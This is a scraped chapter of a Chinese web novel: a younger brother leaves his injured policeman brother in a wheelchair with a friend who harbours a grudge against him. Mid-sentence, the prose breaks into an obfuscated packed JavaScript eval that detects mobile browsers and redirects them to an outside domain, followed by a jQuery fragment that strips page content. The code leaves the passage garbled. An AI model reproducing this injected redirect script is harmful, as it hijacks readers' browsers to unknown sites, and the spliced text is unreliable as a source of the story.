默认冷灰
24号文字
方正启体

6. 一塌糊涂

作者:幸晟觅君本书字数:K更新时间:
    齐鑫歌遗传了母亲的急性子,一旦做了决定,就要马上办下来。


    不到两个小时,他租好轮椅、办完出院手续,还把猫接到了白马庄园,顺便风风火火地置办了日用品。


    跑上跑下忙活一通,他仍觉不累,办事一气呵成,唯有将齐延曲从病床转移到轮椅上时费了点劲。


    齐延曲有些时日没动用过腿脚,借用了拐杖才成功支起身子,坐在了他看来小题大做的轮椅上。


    身高一七九的齐鑫歌深感惭愧:“哥,我矮了点,也没抱过人,怕给你摔了……但是你不用担心,我那兄弟老高了,还特别有劲儿,之后两个月你脚都用不着沾地!”


    齐延曲指尖一下一下敲着钛合金扶手,突然发问:“齐鑫歌,看过我的病历单吗?”


    说出的话如拉得平直的线,不带情绪波动,无端令人绷直脊背。


    有那么一瞬间,齐鑫歌觉得自己回到了中学教室,正在被老师抽问。他不由换成规规矩矩的站姿,飞速作答:“看过!”


    “诊断结论写的什么?”


    “受到暴力打击引起的裂纹骨折,未见明显骨质移位……”


    齐鑫歌越说越忐忑,不明白他哥问这个的用意是什么。


    他就听出来他哥这会有点想打他。


    想了想,他觉得挨他哥的打并不难以接受。作为一个合格的弟弟,他是不是应该去买块戒尺?免得他哥打得手疼。


    遗憾的是,他哥没有动手的打算。


    “骨裂。”齐延曲只是冷脸强调,“不是瘫痪,更没有截肢。”


    齐鑫歌讪讪一笑,接着马上叫了辆无障碍多功能专车。


    总之铁了心不让齐延曲在医院待到第二天。


    两人直达小区,做完详细登记后才进了大门。


    这一片都是行列式布局的独栋,背靠风景区,私密性很强,和齐延曲原先住的老破小天壤之别。


    轮椅在柏油路上平缓前进,这里比城市中心宁静得多,是个适合常住的好地方。


    齐鑫歌没有第一时间落屋,而是推着齐延曲去问候他那位好兄弟。


    此事得快点安排好,他的训练进程不能耽搁下去。


    等把他哥交到好兄弟手里,他就可以放心归队参赛了。


    虽然好兄弟还不知道此事,但他相信心慈手软的对方一定会答应的!


    大不了他到时候一哭二闹三上吊。


    齐鑫歌俯身打量着齐延曲的脸色,顺便卖了个乖:“哥,怎么样?”


    他问的是环境。


    齐延曲缓缓开口:“离派出所挺近的。”


    “……还有呢?”


    “物业管理不错。”


    果然不能指望他哥说出什么好话。


    没听到夸奖的齐鑫歌丧气地埋下了头。


    不到一分钟,他自我安慰完毕,再次精神抖擞起来,对好兄弟进行了一轮消息轰炸,问对方一单元在哪。


    对方没有回复。聊天页面翻到头全是他一个人的消息。


    天色逐渐黯淡。


    从进小区到现在,已经绕了二十分钟了,齐鑫歌没敢中途透露自己是个路痴的事,愣是继续绕了几大圈才找到一单元。


    他松了口气,开始挨个凑近找门牌号。


    这就容易多了,他边找边咕哝,没一会儿就转头向齐延曲宣布喜讯:“找到了!就是这,D1-104。”


    与此同时,时钟针指向九点,两侧庭院灯倏然亮起。


    柔和的暖白光扬扬洒洒铺满了路道,一扫寂静寥落,给人鹅绒般轻盈舒适感。


    也正是齐鑫歌转过头的那一刻,马路尽头处出现一个腰背笔直的身影。


    是个身姿如山间青松的男生,步履不疾不徐。


    距离太远,灯光太昏沉,在男生脸上除了晦暗再看不清其他。


    平白散发出危险气息,仿佛隐匿于黑暗中的鹰隼,随时会对人造成致命一击。


    神经大条的齐鑫歌没察觉出这些,他双眼眯成一条缝,垫脚瞧完蹲下瞧,试图通过不同角度确认男生的身份。


    直至男生渐行渐近,他不再犹豫,大大咧咧叫出对方的名字:“谢恒逸!”


    嘹亮的叫唤声传播开来,在岩板外墙上反弹,荡出隐隐约约的回音。


    被直呼其名的男生没有即刻回应,仍慢腾腾走着。


    不过片刻,稳健的脚步声愈发清晰。


    齐延曲没有回头,但能感觉到有人在自己身后停下。


    因为他闻到了一股酒味,浓烈到无法忽视。这个发现引得他眉间不自觉蹙起,抬手轻掩鼻尖,勉强压制下心中不愉。


    叫做谢恒逸?


    名字有点熟悉。


    “你来干什么?”男生在家门口站定,看也没看轮椅上的人,自顾自跟齐鑫歌对着话,“送什么礼物要你亲自当跑腿?”


    齐延曲微低着头,心不在焉地想:


    声音也有点熟悉。


    成败在此一举,齐鑫歌紧张不已,双手合十作祈祷状:“谢大神,若非万不得已,我是绝对不会麻烦你的!这次实在是快把我逼上绝路了。”


    诸如此类的话谢恒逸今年听过不下十次:“哪条绝路?你住悬崖上是吧?”


    齐鑫歌噎住了,心虚地摸了摸鼻尖,差点接不上话。


    好在谢恒逸自认宽宏大量,调侃一句后便不再为难,直入正题:“什么事?”


    生怕恩人反悔似的,齐鑫歌一句马虎眼都不敢打,连忙道:“能不能帮忙照顾一下我哥?”


    “就两个月!等我忙完比赛就没你的事了!”


    他心直口快,想到什么说什么,感觉到自己措辞怪怪的也懒得纠正。


    听到这些话,齐延曲当即反应过来:这小子居然是先斩后奏。


    而且看样子别人并不愿意帮忙。


    齐延曲欲要插话说点什么,张口的瞬间不慎呼吸得急了些。


    冷空气被吸进肺里,刺激着他的咽喉,他忍不住颤身子咳起嗽来。


    沙哑的干咳声打断了二人的对话。


    谢恒逸像是才注意到现场有另外的人。


    他一面正要说出拒绝的话语,一面视线下移望向那轮椅上的人。


    仅一眼,他就立马将到嘴边的话吞了回去。


    那人自始至终安安静静坐着,顶着一张令他刻骨铭心的脸。


    长直细密的睫羽、恰如其分的眼梢弧度、线条流畅的天鹅颈,每个细节他都记忆犹新。


    今日再见,更是填补了他印象中的空白处。


    警官脱下了那身刻板的大衣,着了一件府绸面料的白衬衫,洁净平整。最上方的纽扣没系,领子朝外敞开些许。


    谢恒逸不得不再次感谢父母给了他双好眼睛,即便长期对着显示器工作,他的视力依然多年保持在5.2,以至于让他能看清警官锁骨处浅褐色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556596|171304||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的小痣。


    这就是齐鑫歌说的礼物?


    嘶,他忽然相信好人有好报了。


    这不?看不惯的人都给他送到家门口了,还是战损版。岂不是他想怎么报复就怎么报复?


    长久无话。


    谢恒逸的探究视线称得上倨傲无礼,在旁暗中察看的齐鑫歌觉得怪异。


    十分怪异。


    齐鑫歌对他这位好兄弟是有几分了解的。


    只要没有立刻拒绝,那这事大概率就能成。


    眼下谢恒逸确实不像要拒绝的样子。


    可也不像是乐意接这活的样子。


    为了不让气氛持续怪异下去,齐鑫歌简单介绍了一句:“这就是我哥,亲哥,搁你们学校边上那个公安局上班……”


    不等齐鑫歌往下介绍名字,谢恒逸已经喊道:“齐警官。”


    出于基本的尊重,齐延曲仰头跟此人对视。


    然后他看清了男生的脸。


    对于这张脸,就不止是一点熟悉了。


    能凭借一面之缘给他留下记忆的,少之又少,谢恒逸算其中最出众一个。


    脸长得不错,除此之外,一塌糊涂。


    齐延曲神色丝毫未变,语态平和:“抱歉,我弟弟不懂事。”


    意为这事就此作罢。


    先不说谢恒逸会不会同意,就算对方不计前嫌同意了,他也不会同意让一个学生来照顾他。


    他按了按太阳穴,难得直接发号施令道:“齐鑫歌,回去。”


    齐鑫歌不明白他为什么变卦了:“啊?”


    虽然不理解,但他下意识听令,双手握住了推把,并往前推了推。


    没推动。


    卡住了?


    齐鑫歌对自己的力气和推轮椅技术深信不疑,便弯腰检查了下四个滚轮。


    没有石子,没有沟坎。


    他、轮椅和路面都没有问题。


    那么问题出现在……


    齐鑫歌怒目瞪向握在推把上的第三只手。


    那是一只骨节分明、苍劲有力的大手,来自谢恒逸。


    谢恒逸无视掉齐鑫歌的干瞪眼,牢牢按住推把,使得轮椅无法动弹:


    “既然是齐警官遇到了麻烦,我哪有拒绝的道理?”


    齐鑫歌再度:“啊?”


    你什么时候讲过道理?


    谢恒逸面上坦坦荡荡,手上力道猛然加大,抢占了推把的掌控权。


    ——这个送上门的礼物,他收下了。


    “你要是有事可以走了。放心,我会好、好、照、顾你哥的。”


    齐鑫歌被迫松手,退至一边,眼睁睁看着好兄弟顶替了他的位置。


    他没有不满,反而把自家的钥匙交了出去,欢欢喜喜地庆幸:不需要一哭二闹三上吊了。


    临走前,他还在齐延曲耳边悄摸讲小话:“我就说吧!我这兄弟是个大好人,看着铁石心肠,实际上耳根子贼软。哥你在这安心等我回来!”


    察言观色的能力十分堪忧。


    等他回来收尸还差不多。


    齐延曲欲言又止,难得有了几分无措。


    能怎么说?能说什么?总不能当着人家的面说他们有过节。


    回想起这段时日齐鑫歌的无微不至,齐延曲就更没有拒绝好意的道理了,索性什么也没说,任由其远去。


    大不了等会临时叫个护工把他推回家。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)